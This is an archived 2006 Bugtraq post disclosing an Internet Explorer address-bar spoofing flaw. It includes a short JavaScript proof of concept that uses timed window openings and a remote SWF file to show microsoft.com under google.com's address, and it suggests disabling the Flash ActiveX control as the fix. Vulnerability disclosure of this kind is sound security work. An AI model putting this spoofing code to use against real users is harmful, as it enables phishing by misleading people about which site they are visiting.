Home page logo
/

bugtraq logo Bugtraq mailing list archives

Another way to spoof Internet Explorer Address Bar
From: hainamluke () yahoo com
Date: 4 Apr 2006 14:27:31 -0000

DESCRIPTION
Attacker alse can spoof the address bar with another HTML page instead of the shockwave-flash file by continuing make 
to window.location
If you use a very large SWF file, the last page will be display as long as SWF loading time with the original address 
bar.
This exploit code will try to display www.microsoft.com with address bar of www.google.com

########### LukesTest2.htm ###########
<a href="javascript:spoof()">Perform the second Test</a><br>
<script>
        function        makewin(url) {
                win     = window.open (url, "new");
        }
        function spoof() {
                makewin('http://www.google.com/&apos;);
                setTimeout("makewin('http://one.fsphost.com/dangquang/musicflash1/bupbebietyeu.swf&apos;)",2000);
                setTimeout("makewin('http://www.microsoft.com/&apos;)",4000);                
        }       
</script>
##################################

The SWF will be displayed when it is loaded fully as well as my first sample code.

SOLUTION: 
Disable Shockwave-Flash ActiveX Control 


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault